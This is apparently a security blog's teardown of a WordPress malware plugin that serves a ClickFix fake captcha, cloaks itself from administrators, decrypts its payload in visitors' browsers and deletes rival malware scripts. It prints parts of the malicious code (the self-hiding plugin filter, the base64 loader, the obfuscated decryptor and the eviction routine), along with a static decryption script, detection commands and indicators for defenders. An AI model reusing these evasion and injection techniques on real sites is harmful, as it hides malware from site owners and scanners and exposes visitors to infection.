Skip to content
Back to Articles

The ClickFix Plugin That Deletes Rival Malware From Your Pages: A WordPress Teardown

Share:

A small business WordPress site started showing visitors a fake "Verify you are human" box. The owner never saw it. Neither did the web designer. A security scanner on the server had already found and neutralised more than twenty malicious plugins on the same site, yet the fake captcha kept coming back on every page.

The plugin responsible was a well-built piece of malware with three unusual habits. It pretends to be a white-label branding tool. It keeps its real code encrypted until it reaches the visitor's browser. And once it runs, it hunts down and deletes other attackers' malware scripts from the page, so it's the only fake captcha the visitor sees.

This article walks through how it works, why server-side scanning missed it, and the commands you can use to find the same family on your own sites.

🧩 What visitors saw

The lure itself is the familiar ClickFix trick: a fake verification box asks the visitor to press Win + R, paste and press Enter. The page has already put a PowerShell one-liner on the clipboard, which downloads and runs the next stage. We covered the lure and its blockchain-hosted variant in an earlier article, so here we'll focus on what's new: the delivery plugin and what its script does to everything else on the page.

Two details of this build are worth noting. The command is set only for Windows (the macOS and Linux slots are empty), and the instructions are translated into more than 40 languages, picked from navigator.languages. The script also remembers each visitor in localStorage (captcha_executed_<id> and captcha_copied_<id>), so someone who already ran the command isn't asked twice and doesn't get suspicious.

🎭 A plugin dressed as a branding tool

The plugin lived in its own folder with a generic name and a header copied from a real, popular white-label plugin:

<?php
/**
 * Plugin Name:  wp-warden
 * Version:      1.0.0
 * Description:  Customise dashboard panels and branding, hide menus plus lots more.
 * Author:       lable
 */
if ( ! defined( 'ABSPATH' ) ) { exit; }

add_filter( 'all_plugins', function( $plugins ) {
    unset( $plugins[ plugin_basename( __FILE__ ) ] );
    return $plugins;
}, 23 );

Every function inside also uses the prefix of the real plugin it imitates. To someone skimming the code, it looks like a fork of a well-known plugin.

The all_plugins filter removes the plugin from the list WordPress shows on the Plugins screen. It stays active in the active_plugins option and loads on every request; it just isn't listed. That's why "check your plugin list" is never enough on its own: compare the folders on disk and the active_plugins option with what the dashboard shows.

🙈 Who never sees it

Before printing anything, the plugin runs a gate function. It stays silent for:

  • anything inside wp-admin,
  • AJAX, cron and REST API requests,
  • any logged-in user with the manage_options capability, which means every administrator.

So the site owner, logged in while checking the homepage, gets a clean page. A visitor in a private window gets the captcha. We've seen admin cloaking before (here, for a phishing kit), and it remains the main reason infections like this run for weeks: always test a reported page while logged out, ideally from the server itself with curl.

When the gate passes, the script is printed on six hooks at once: wp_head, wp_body_open, wp_footer, wp_print_footer_scripts, login_head and login_footer. A constant makes sure only the first one actually outputs, so whichever hook the theme supports wins. That includes the login page, which many cleanups never look at.

📦 Why the PHP looked harmless

Server-side scanners mostly look for dangerous behaviour in PHP: eval, dynamic function calls, gzinflate chains, writes to other files. This plugin does none of that. Its PHP is close to boring:

function wlcms_wp_warden_221_src() {
    static $s = null;
    if ( $s !== null ) { return $s; }
    $raw = <<<'_B64_45368'
KGZ1bmN0aW9uKFUpe3ZhciBZWWp4PTU5LEl1Rj0iODEzN2JkMTg2MTY1Ijt2YXIgV3JhRz0xNTkx
...about 3,400 more lines of base64...
_B64_45368;
    $dec = base64_decode( $raw, true );
    $s = ( $dec === false ) ? '' : $dec;
    return $s;
}

function wlcms_wp_warden_221_out() {
    if ( ! wlcms_wp_warden_221_ok() ) { return; }
    wlcms_wp_warden_221_mark();
    echo '<scr' . 'ipt>' . wlcms_wp_warden_221_src() . '</scr' . 'ipt>';
}

A nowdoc string (the quoted <<<'NAME' form of a heredoc) holds about 190 KB of base64. PHP decodes it and echoes it inside a script tag. The tag itself is split ('<scr' . 'ipt>') so a simple search for <script> in PHP files misses it. Nothing in the PHP executes the payload. The decryption happens in the visitor's browser, where the server never looks.

The plugin also registers two AJAX actions that work without login:

  • wp_warden_boot returns the same JavaScript with an application/javascript content type, so the payload can also be loaded as an external script.
  • wp_warden_status returns {"ok":1,"v":"1.0.0"}. That's a beacon: the operator can check which infected sites are still alive, and which version they run, with one request each.

🔐 Layer 1: decryption in the browser

The decoded base64 is a small JavaScript decryptor wrapped around a large encrypted blob. With the variable names cleaned up, it does four things:

  1. Reassembles the blob from pieces. The ciphertext is split into nine strings, joined in the order [7,6,8,4,3,1,2,5]. Piece 0 is never used; it's a decoy, so an analyst who simply concatenates all pieces gets garbage.
  2. Decodes base64 with a shuffled alphabet (UJRIMmzePrTy3hx… instead of ABCDEFGH…). Standard atob() or base64 -d produce nonsense.
  3. XORs every byte with an xorshift32 keystream. A 32-bit seed is shifted by 13, 17 and 5 bits for each byte, and the low 8 bits are the key. Without the seed and the exact shift order, the output is random noise.
  4. Runs the result through TextDecoder (so the many translated strings survive as UTF-8) and then through globalThis["Function"](code)(). Even the word Function doesn't appear: it's rebuilt from [12,63,36,41,62,35,37,36] XOR 74.

Here's the core of the decryptor with readable names:

var seed = 1591358998 >>> 0, out = "";
for (var i = 0; i < bytes.length; i++) {
  seed = (seed ^ ((seed << 13) >>> 0)) >>> 0;
  seed = (seed ^ (seed >>> 17)) >>> 0;
  seed = (seed ^ ((seed << 5) >>> 0)) >>> 0;
  out += String.fromCharCode(bytes.charCodeAt(i) ^ (seed & 255));
}
var name = "";
[12,63,36,41,62,35,37,36].forEach(function (c) { name += String.fromCharCode(c ^ 74); });
globalThis[name](new TextDecoder("utf-8").decode(toBytes(out)))();

You never need to run any of this to analyse it. The Python script below pulls the seed, alphabet, pieces and order out of a saved copy of layer 1 with regular expressions and decrypts it statically. On this sample it produced layer 2 byte for byte:

import base64, json, re, sys

js = open(sys.argv[1], encoding="utf-8").read()
seed     = int(re.search(r"WraG\s*=\s*(\d+)", js).group(1))
alphabet = json.loads(re.search(r'DVich\s*=\s*("[^"]+")', js).group(1))
chunks   = json.loads(re.search(r"eVl2z\s*=\s*(\[.*?\])", js, re.S).group(1))
order    = json.loads(re.search(r"ZhT0f\s*=\s*(\[[^\]]*\])", js).group(1))

std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
b64 = "".join(chunks[i] for i in order).rstrip("=").translate(str.maketrans(alphabet, std))
data = base64.b64decode(b64 + "=" * (-len(b64) % 4))

out, x = bytearray(), seed & 0xFFFFFFFF
for b in data:
    x ^= (x << 13) & 0xFFFFFFFF
    x ^= x >> 17
    x ^= (x << 5) & 0xFFFFFFFF
    out.append(b ^ (x & 0xFF))
sys.stdout.write(out.decode("utf-8"))

The variable names (WraG, DVich and so on) are random and change between builds, so adjust the four patterns to the sample you have. The structure (one integer seed, one 64-character string, one array of strings, one array of small integers) stays the same.

🥊 Layer 2: evicting the competition

Compromised WordPress sites are rarely compromised only once. The same vulnerable plugin or stolen password is used by several groups, and each one injects its own fake captcha. Two captchas on one page look broken and make visitors suspicious. So before drawing anything, this script cleans the page of rivals.

It scores every <script> element on its src and inline text. Rewritten for readability:

function scoreAndEvict(el) {
  var src = el.src || "";
  if (src.indexOf("blob:") === 0) return;                 // leave blob: scripts alone
  if (ownHost && src.toLowerCase().indexOf(ownHost) >= 0) return;  // never itself

  var text = src + " " + (el.textContent || ""), low = text.toLowerCase(), score = 0;
  if (/api\.php\?s=/.test(low))                                  score += 4;
  if (/atob/.test(low) && /new\s+function/.test(low))            score += 3;
  if (/\[[0-9]{1,3}(?:,[0-9]{1,3}){40,}\]/.test(text) &&
      /fromcharcode/.test(low))                                  score += 3;
  if (/eth_call/.test(low) && /0x[a-f0-9]{40}/.test(low))       score += 3;

  if (score >= 4) { el.textContent = ""; el.remove(); }
}

function sweep() {
  var s = document.getElementsByTagName("script");
  for (var i = s.length - 1; i >= 0; i--) scoreAndEvict(s[i]);
}
sweep();
new MutationObserver(sweep).observe(document.documentElement, { childList: true, subtree: true });

Each rule is a fingerprint of a different competing malware family:

  • api.php?s= is a loader URL pattern used by another injection campaign. It scores 4 on its own, so any script that mentions it is removed immediately.
  • atob plus new Function is the classic "decode base64 and run it" injector.
  • A numeric array of 40+ entries plus fromCharCode is the character-code obfuscation many injected scripts use.
  • eth_call plus a 40-hex address is the blockchain-hosted ClickFix loader, the one that reads its payload from a smart contract.

The last three rules score 3 each, so one alone isn't enough. A script has to match two fingerprints (for example base64 + new Function and a character-code array) before it's deleted. That threshold keeps the script from breaking ordinary site JavaScript, which would draw attention.

Notice how its own layer 1 is built to score zero: no atob (it has its own base64 decoder), no literal new Function (the name is rebuilt by XOR), no long character-code array. The authors clearly wrote the eviction rules and the obfuscation together.

The MutationObserver makes the eviction permanent for the life of the page. If a rival script is inserted later by another injector, by a tag manager or by a lazy loader, the observer fires and the sweep runs again.

There's a lesson here for defenders. If you clean one injection, reload the page and the "same" captcha is still there, you may be looking at a different infection that was hidden by the first. And if you only grep the rendered HTML for the patterns above, you'll see what the winning malware allowed to stay. Always check the source files and the database, not only the rendered page.

🧱 What the earlier cleanup left behind

This site had been cleaned before. The server's security scanner had neutralised the loaders of about twenty other fake plugins, with names built from three random words plus four hex characters, or generic names like wp-core and system-defence. Three things were still there:

  • Encrypted payload files (.dat, .cache, .bin, .idx, .pkg) inside the fake plugin folders. Inert without their loaders, but one restored loader from a backup would bring them back to life.
  • A packed 64-bit Linux executable of about 950 KB, saved as cdnbridge.filepart inside a fake plugin folder. It's statically linked, has no section headers and no readable strings. We didn't analyse what it does, and you don't need to: WordPress plugins never ship native executables, so its presence alone is a finding. The .filepart extension makes it look like an interrupted upload.
  • Empty stub files and a new administrator account created in the same second. The timestamps tie them to the same intrusion. We recorded the account for the owner and didn't touch it.

There was also a scheduled task (role_cache_rebuild_d4a1) in the WordPress cron with no code left to run it. Deleting it with WP-CLI looked successful, but the event was still in the database afterwards: the site used a persistent object cache, and the removal didn't stick on the first try. After removing a cron event, always read the cron option straight from the database to confirm it's gone.

🔎 Hunting commands

All of these are read-only. Run them as the site's own user, not as root, and replace DOCROOT with the site's document root.

Plugins that hide themselves and carry a nowdoc payload:

grep -rlE "add_filter\(\s*['\"]all_plugins" DOCROOT/wp-content/plugins --include='*.php' \
  | xargs -r grep -lE "<<<'?[A-Za-z_][A-Za-z0-9_]*'?\s*$"

Plugins that print on front-end hooks or expose no-login AJAX actions (expect legitimate hits; review each):

grep -rlE "wp_ajax_nopriv_|add_action\(\s*['\"](wp_head|wp_body_open|login_head|wp_print_footer_scripts)" \
  DOCROOT/wp-content/plugins --include='*.php' | xargs -r ls -la

Active plugins vs. what's on disk vs. what the dashboard lists:

wp option get active_plugins --format=json --skip-plugins --skip-themes --path=DOCROOT
ls -1 DOCROOT/wp-content/plugins/
wp plugin list --fields=name,status --skip-plugins --skip-themes --path=DOCROOT

Linux executables anywhere in wp-content, whatever their extension (checks the first four bytes for the ELF signature):

find DOCROOT/wp-content -type f -size +1k -print0 | xargs -0 -r sh -c '
for f; do
  [ "$(head -c4 "$f" | od -An -tx1 | tr -d " \n")" = "7f454c46" ] && ls -la "$f"
done' sh

Leftover payload blobs in plugin folders:

find DOCROOT/wp-content/plugins -type f \( -name '*.dat' -o -name '*.cache' -o -name '*.bin' \
  -o -name '*.idx' -o -name '*.pkg' -o -name '*.filepart' \) -printf '%s %p\n'

What a logged-out visitor actually receives (fetched locally, so no CDN cache is involved; use http:// if the site has no local certificate):

curl -sk -H "Host: example.com" https://127.0.0.1/ | grep -oiE '<script[^>]*>[^<]{0,200}' | head -50

A long inline script that starts with (function(U){var and contains a 64-character string and an array of numbers is a strong lead.

🛠️ Cleaning it up

  1. Back up first. Take a full database dump and copy every file you're about to remove into an evidence folder outside the web root.
  2. Remove the whole plugin folder, not just the PHP file. Do the same for every fake plugin and fake theme folder, including the ones a scanner already "cleaned", so the payload blobs and binaries go too.
  3. Check active_plugins afterwards. It should list only plugins you recognise, with folders that exist.
  4. Check the cron option in the database for events with no matching code, and confirm each removal against the database, not only WP-CLI output.
  5. Review administrator accounts and any user created around the infection date. Remove the ones nobody on your team created.
  6. Purge every cache layer: page cache plugin, server cache (Varnish, Nginx), object cache and CDN.
  7. Verify as a visitor: logged out, from a private window or with the curl command above, on every page that was reported, including wp-login.php.

🧪 Indicators

  • Plugin header Plugin Name: wp-warden, author lable, white-label description, functions prefixed wlcms_wp_warden_
  • AJAX actions wp_warden_boot and wp_warden_status
  • localStorage keys captcha_executed_* and captcha_copied_*
  • PowerShell lure sending custom -UserAgent 'WUA/…' and X-WUA headers
  • Cron hook role_cache_rebuild_d4a1
  • Loader plugin SHA-256: 0b7f553b718f7ab1bd8b64b9cad30ba64320171fa35ca0b0d2fad7d93ac2d744
  • Packed ELF (cdnbridge.filepart) SHA-256: 3d0ea94584991982e822ef9b1122e907d58f0c86c3574611e3f907e4454b21e3

❓ FAQ

Why did I only see the fake captcha when logged out?

The plugin checks whether the visitor is an administrator and prints nothing for them, or anywhere in the admin area, AJAX, cron or REST requests. Test reported pages in a private window or with curl from the server.

Why didn't the server's scanner flag this plugin?

Its PHP never executes the payload. It only decodes a base64 string and prints it inside a script tag. The obfuscation and execution happen in the visitor's browser, where server-side scanners don't look.

Can one infection hide another?

Yes. This script deletes script tags that match the fingerprints of competing malware families and keeps doing so as the page changes. A clean-looking rendered page doesn't prove the database and theme files are clean.

Is a binary inside a plugin folder always malicious?

WordPress plugins are PHP, JavaScript, CSS and assets. A Linux executable inside wp-content, especially one with a misleading extension, has no legitimate reason to be there and should be treated as part of the intrusion.